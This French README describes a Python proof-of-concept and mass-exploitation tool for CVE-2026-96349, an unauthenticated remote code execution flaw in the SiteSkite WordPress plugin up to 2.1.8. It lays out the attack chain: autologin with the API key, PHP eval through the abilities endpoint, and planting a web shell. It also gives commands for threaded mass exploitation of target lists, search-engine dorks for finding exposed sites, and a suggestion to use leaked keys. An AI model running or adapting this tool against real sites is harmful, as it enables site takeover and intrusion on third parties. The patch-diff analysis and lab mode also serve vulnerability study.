
PoC Python et outil d'exploitation de masse pour CVE-2026-96349, une RCE non authentifiée dans le plugin WordPress SiteSkite ≤2.1.8 via l'autologin par clé API et l'évaluation PHP MCP.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-96349 |
| Produit | SiteSkite plugin WordPress |
| Affecté | ≤ 2.1.8 |
| Corrigé | 2.2.0 |
| CWE | CWE-94 — Contrôle inapproprié de la génération de code |
| CVSS | 10.0 (Critique) — avis Patchstack |
| Catalogue PoCbit | https://pocbit.org/pocs/ |
| Page PoCbit | https://pocbit.org/pocs/cve-2026-96349 |
| Marqueur de vérification | POCBIT-96349-OK |
PoC Python dans le même style que CVE-2026-102425 : menu interactif, exploit massif (par défaut), --check, -u, --lab, pool de threads, hits.txt / exploited.txt.
Patchstack et le programme CVE décrivent CVE-2026-96349 comme une faille d'exécution de code à distance non authentifiée dans le plugin SiteSkite. Le texte public est volontairement succinct ; le correctif du fournisseur 2.2.0 (septembre 2026) modifie profondément l'authentification et l'auto-connexion. La comparaison statique de 2.1.8 vs 2.2.0 dans ce dépôt (extract-2.1.8/, extract-2.2.0/) montre la surface d'attaque pratique que ce PoC implémente.
SiteSkite est un plugin WebOps volumineux : sauvegardes, API de portail, et MCP IA sur site (« abilities ») incluant des outils avancés qui appellent eval() sur du PHP fourni par l'attaquant (siteskite_execute_php) et l'écriture de fichiers arbitraires (siteskite_write_file). Ces abilities sont accessibles via REST et via admin-ajax.php lorsque le site est lié à une clé API SiteSkite.
L'erreur critique dans ≤ 2.1.8 est que la même clé API de longue durée sert également de jeton de connexion administrateur WordPress non authentifié :
AutoLoginController accepte ?token=<siteskite_api_key> sur /siteskite-autologin et, via handle_token_login(), sur n'importe quelle URL front-end incluant ?token=….get_option('siteskite_api_key') (aucune signature de portail, aucun nonce à usage unique).wp_set_auth_cookie() pour le premier administrateur, avec contournement 2FA optionnel pour Solid Security / plugins similaires.2.2.0 supprime ce chemin : les jetons de clé API bruts sont rejetés (vérifications hash_equals, « Login Unavailable »), et la connexion exige des liens signés émis par le portail (AutologinPortalSignature). Le cœur de sécurité du mu-plugin n'honore plus les connexions par clé héritées.
Du point de vue de l'attaquant, la chaîne est la suivante :
/?token=KEY ou /siteskite-autologin?token=KEY).POST /wp-json/siteskite/v1/abilities/execute (ou admin-ajax.php?action=siteskite_api) avec l'en-tête X-SiteSkite-Key: KEY et exécuter siteskite_execute_php ou déposer up.php via siteskite_write_file → POCBIT-96349-OK.Les outils MCP avancés sont activés par défaut dans 2.1.8 (McpSettings::DEFAULT_ADVANCED = '1'), donc de nombreux sites liés exposent eval une fois la clé connue.
| Composant | Comportement en 2.1.8 | Changement en 2.2.0 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= égal à la clé API stockée → cookie admin | Clé brute rejetée ; connexion HMAC du portail uniquement |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | Toujours présent ; conditionné par l'authentification + les paramètres |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → exécution des abilities | Même surface ; l'autologin ne divulgue plus la session sans clé |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api relaie les abilities lorsque la clé est valide | Nécessite toujours une clé / clé invité |
D'autres routes REST non authentifiées (UploadRest, enregistrement OAuth) existent mais nécessitent des jetons ou PKCE ; elles ne constituent pas la chaîne principale modélisée ici.
| Fichier | Rôle |
|---|---|
poc.py | CLI / interactif / exploitation de masse |
_engine.py | Logique HTTP, métadonnées PoCbit, serveur de labo |
up.php | Sonde web shell optionnelle (?pocbit=1 → marqueur) |
targets.example.txt | Liste d'URL ; URL<TAB>api_key facultatif |
extract-2.1.8/ / extract-2.2.0/ | Code source du fournisseur pour le diff (non requis pour exécuter le PoC) |
pip install requests coloramapython poc.py
Invites : mode, clé API globale facultative, fichier cible, threads (par défaut 16), délai d'expiration.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
Clés par cible (tabulation, espace ou barre verticale après l'URL) :
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
Clé de secours via l'environnement : SITESKITE_API_KEY ou SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
Empreinte : Stable tag de readme.txt, réponse historique /siteskite-autologin en cas de jeton manquant, version ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
Lance 127.0.0.1:8796 avec un faux readme 2.1.8, autologin et un endpoint abilities ; doit renvoyer "exploited": true.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php avec echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval dépose un helper pour up.phpLes lignes de résultat JSON incluent pocbit, pocbit_catalog, pocbit_page, les URL de CVE et verify_marker pour les pipelines de journalisation.
Exemples (à adapter à votre indexeur) :
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
Le mode Check ne fait pas de brute-force sur les clés API. Le mode Exploit nécessite une clé, sauf si vous disposez déjà de paires url\tkey issues de votre propre portail ou de renseignements sur des fuites.